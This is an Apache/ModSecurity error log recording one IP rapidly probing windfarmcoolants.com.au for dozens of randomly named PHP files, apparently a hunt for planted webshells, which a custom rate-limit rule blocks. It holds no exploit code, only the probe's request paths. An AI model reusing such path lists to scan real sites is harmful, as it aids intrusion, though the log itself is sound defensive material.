[Mon Mar 23 15:55:53.554225 2026] [:error] [pid 14573:tid 14584] [client 4.223.87.176:50622] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "acDyCe-oSmHn3q4_J1F-HgAAAUk"]
[Mon Mar 23 15:55:58.221165 2026] [:error] [pid 14573:tid 14582] [client 4.223.87.176:50064] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "acDyDu-oSmHn3q4_J1F-KQAAAUc"]
[Mon Mar 23 15:56:02.082643 2026] [:error] [pid 23539:tid 23555] [client 4.223.87.176:50582] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "acDyEn7Dh3qWGSpIAZX47gAAAMc"]
[Mon Mar 23 15:56:03.494053 2026] [:error] [pid 57265:tid 57268] [client 4.223.87.176:50977] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "acDyE2NLjPJJkhuqCsjeJwAAAQE"]
[Mon Mar 23 15:56:08.882350 2026] [:error] [pid 35165:tid 35171] [client 4.223.87.176:51047] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "acDyGM6udpN6Esk7JKuGRgAAAYM"]
[Mon Mar 23 15:56:16.010919 2026] [:error] [pid 35165:tid 35182] [client 4.223.87.176:48183] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "acDyIM6udpN6Esk7JKuGUgAAAY4"]
[Mon Mar 23 15:56:17.053128 2026] [:error] [pid 23441:tid 23503] [client 4.223.87.176:49535] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "acDyIRq7S-oOqSXZEr6-uwAAAIA"]
[Mon Mar 23 15:56:18.015131 2026] [:error] [pid 23539:tid 23563] [client 4.223.87.176:51687] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "acDyIn7Dh3qWGSpIAZX4-QAAAM8"]
[Mon Mar 23 15:56:18.802752 2026] [:error] [pid 35165:tid 35176] [client 4.223.87.176:50605] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "acDyIs6udpN6Esk7JKuGWAAAAYg"]
[Mon Mar 23 15:56:20.942417 2026] [:error] [pid 57265:tid 57277] [client 4.223.87.176:48152] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "acDyJGNLjPJJkhuqCsjeSAAAAQo"]
[Mon Mar 23 15:56:21.618133 2026] [:error] [pid 23440:tid 23489] [client 4.223.87.176:50571] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "acDyJT49_8n8h_ttcUodRwAAAE0"]
[Mon Mar 23 15:56:22.284166 2026] [:error] [pid 23439:tid 23452] [client 4.223.87.176:50141] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "acDyJqZv8XIzUKdgaMd-4wAAAAM"]
[Mon Mar 23 15:56:23.002456 2026] [:error] [pid 57265:tid 57284] [client 4.223.87.176:51612] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "acDyJ2NLjPJJkhuqCsjeTAAAARE"]
[Mon Mar 23 15:56:23.740339 2026] [:error] [pid 57265:tid 57275] [client 4.223.87.176:51018] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "acDyJ2NLjPJJkhuqCsjeTwAAAQg"]
[Mon Mar 23 15:56:24.846527 2026] [:error] [pid 14573:tid 14582] [client 4.223.87.176:50085] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "acDyKO-oSmHn3q4_J1F-VAAAAUc"]
[Mon Mar 23 15:56:25.702491 2026] [:error] [pid 57265:tid 57277] [client 4.223.87.176:50611] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "acDyKWNLjPJJkhuqCsjeVQAAAQo"]
[Mon Mar 23 15:56:26.355706 2026] [:error] [pid 23440:tid 23483] [client 4.223.87.176:48835] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "acDyKj49_8n8h_ttcUodTAAAAEc"]
[Mon Mar 23 15:56:26.973094 2026] [:error] [pid 23440:tid 23480] [client 4.223.87.176:49493] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "acDyKj49_8n8h_ttcUodTgAAAEQ"]
[Mon Mar 23 15:56:27.622165 2026] [:error] [pid 23439:tid 23453] [client 4.223.87.176:50973] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "acDyK6Zv8XIzUKdgaMd-5wAAAAQ"]
[Mon Mar 23 15:56:28.239391 2026] [:error] [pid 23539:tid 23567] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/55b76.php
[Mon Mar 23 15:56:28.568077 2026] [:error] [pid 23539:tid 23553] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/tt.php
[Mon Mar 23 15:56:29.570794 2026] [:error] [pid 23539:tid 23548] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/maul.php
[Mon Mar 23 15:56:29.875520 2026] [:error] [pid 23539:tid 23552] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/5b9ac.php
[Mon Mar 23 15:56:30.181471 2026] [:error] [pid 23539:tid 23554] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Mon Mar 23 15:56:31.857090 2026] [:error] [pid 23539:tid 23554] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/varb.php
[Mon Mar 23 15:56:32.123137 2026] [:error] [pid 23539:tid 23567] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/lm15.php
[Mon Mar 23 15:56:32.397013 2026] [:error] [pid 23539:tid 23561] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/clss.php
[Mon Mar 23 15:56:32.664368 2026] [:error] [pid 23539:tid 23553] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/44.php
[Mon Mar 23 15:56:32.990155 2026] [:error] [pid 23539:tid 23563] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/a5e0a.php
[Mon Mar 23 15:56:33.256521 2026] [:error] [pid 23539:tid 23557] [client 4.223.87.176:50134] File does not exist: /usr/local/apache/htdocs/suspended-page/bo.php
[Mon Mar 23 15:56:33.518790 2026] [:error] [pid 23539:tid 23565] [client 4.223.87.176:50134] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "acDyMX7Dh3qWGSpIAZX5LQAAANE"]
[Mon Mar 23 15:56:34.368782 2026] [:error] [pid 14573:tid 14598] [client 4.223.87.176:50944] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "acDyMu-oSmHn3q4_J1F-WwAAAVc"]
[Mon Mar 23 15:56:35.267848 2026] [:error] [pid 57265:tid 57267] [client 4.223.87.176:51039] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "acDyM2NLjPJJkhuqCsjefwAAAQA"]
[Mon Mar 23 15:56:36.597816 2026] [:error] [pid 23441:tid 23510] [client 4.223.87.176:50987] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "acDyNBq7S-oOqSXZEr6-3QAAAIc"]
[Mon Mar 23 15:56:37.543072 2026] [:error] [pid 23539:tid 23554] [client 4.223.87.176:51664] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acDyNX7Dh3qWGSpIAZX5LgAAAMY"]
[Mon Mar 23 15:56:38.091658 2026] [:error] [pid 14573:tid 14579] [client 4.223.87.176:50960] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acDyNu-oSmHn3q4_J1F-bgAAAUQ"]
[Mon Mar 23 15:56:44.586939 2026] [:error] [pid 57265:tid 57288] [client 4.223.87.176:52240] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acDyPGNLjPJJkhuqCsje5AAAARU"]
[Mon Mar 23 15:56:45.876554 2026] [:error] [pid 14573:tid 14581] [client 4.223.87.176:50581] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acDyPe-oSmHn3q4_J1F-fAAAAUY"]
[Mon Mar 23 15:56:46.758896 2026] [:error] [pid 14573:tid 14597] [client 4.223.87.176:52247] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pas2.php"] [unique_id "acDyPu-oSmHn3q4_J1F-fwAAAVY"]
[Mon Mar 23 15:56:47.923361 2026] [:error] [pid 35165:tid 35171] [client 4.223.87.176:51012] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pas2.php"] [unique_id "acDyP86udpN6Esk7JKuGgQAAAYM"]
[Mon Mar 23 15:56:48.714944 2026] [:error] [pid 23440:tid 23499] [client 4.223.87.176:51055] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pas2.php"] [unique_id "acDyQD49_8n8h_ttcUodUQAAAFc"]
[Mon Mar 23 15:56:49.750461 2026] [:error] [pid 14573:tid 14596] [client 4.223.87.176:51637] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pas2.php"] [unique_id "acDyQe-oSmHn3q4_J1F-gQAAAVU"]
[Mon Mar 23 15:56:50.435392 2026] [:error] [pid 57265:tid 57273] [client 4.223.87.176:50566] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acDyQmNLjPJJkhuqCsje7AAAAQY"]
[Mon Mar 23 15:56:51.197540 2026] [:error] [pid 14573:tid 14585] [client 4.223.87.176:50979] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acDyQ--oSmHn3q4_J1F-gwAAAUo"]
[Mon Mar 23 15:56:51.807729 2026] [:error] [pid 23441:tid 23505] [client 4.223.87.176:52341] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acDyQxq7S-oOqSXZEr6-4gAAAII"]
[Mon Mar 23 15:56:52.467899 2026] [:error] [pid 35165:tid 35186] [client 4.223.87.176:51049] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acDyRM6udpN6Esk7JKuGhgAAAZI"]
[Mon Mar 23 15:56:53.337624 2026] [:error] [pid 35165:tid 35189] [client 4.223.87.176:50657] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "acDyRc6udpN6Esk7JKuGigAAAZU"]
[Mon Mar 23 15:56:54.179224 2026] [:error] [pid 14573:tid 14589] [client 4.223.87.176:49497] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "acDyRu-oSmHn3q4_J1F-jgAAAU4"]
[Mon Mar 23 15:56:55.083154 2026] [:error] [pid 14573:tid 14596] [client 4.223.87.176:50634] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "acDyR--oSmHn3q4_J1F-kgAAAVU"]
[Mon Mar 23 15:56:55.735297 2026] [:error] [pid 14573:tid 14586] [client 4.223.87.176:52326] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "acDyR--oSmHn3q4_J1F-lAAAAUs"]
[Mon Mar 23 15:56:56.582171 2026] [:error] [pid 57265:tid 57281] [client 4.223.87.176:51702] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acDySGNLjPJJkhuqCsje9gAAAQ4"]
[Mon Mar 23 15:56:57.298543 2026] [:error] [pid 57265:tid 57285] [client 4.223.87.176:52263] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acDySWNLjPJJkhuqCsje-AAAARI"]
[Mon Mar 23 15:56:57.896668 2026] [:error] [pid 14573:tid 14584] [client 4.223.87.176:51639] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acDySe-oSmHn3q4_J1F-mQAAAUk"]
[Mon Mar 23 15:56:58.754718 2026] [:error] [pid 14573:tid 14578] [client 4.223.87.176:51615] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acDySu-oSmHn3q4_J1F-ngAAAUM"]
[Mon Mar 23 15:56:59.474346 2026] [:error] [pid 23441:tid 23515] [client 4.223.87.176:51038] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "acDySxq7S-oOqSXZEr6-6AAAAIw"]
[Mon Mar 23 15:57:00.182532 2026] [:error] [pid 35165:tid 35171] [client 4.223.87.176:51690] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "acDyTM6udpN6Esk7JKuGkAAAAYM"]
[Mon Mar 23 15:57:01.228106 2026] [:error] [pid 14573:tid 14583] [client 4.223.87.176:52250] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "acDyTe-oSmHn3q4_J1F-pAAAAUg"]
[Mon Mar 23 15:57:02.152281 2026] [:error] [pid 23441:tid 23527] [client 4.223.87.176:50989] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "acDyThq7S-oOqSXZEr6-6gAAAJg"]
[Mon Mar 23 15:57:02.849470 2026] [:error] [pid 57265:tid 57272] [client 4.223.87.176:51643] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "acDyTmNLjPJJkhuqCsje_AAAAQU"]
[Mon Mar 23 15:57:03.999783 2026] [:error] [pid 35165:tid 35187] [client 4.223.87.176:50681] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "acDyT86udpN6Esk7JKuGkgAAAZM"]
[Mon Mar 23 15:57:05.367792 2026] [:error] [pid 14573:tid 14577] [client 4.223.87.176:51067] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "acDyUe-oSmHn3q4_J1F-qgAAAUI"]
[Mon Mar 23 15:57:06.491053 2026] [:error] [pid 57265:tid 57289] [client 4.223.87.176:52332] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "acDyUmNLjPJJkhuqCsjfBAAAARY"]
[Mon Mar 23 15:57:07.498393 2026] [:error] [pid 35165:tid 35192] [client 4.223.87.176:52231] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acDyU86udpN6Esk7JKuGnAAAAZg"]
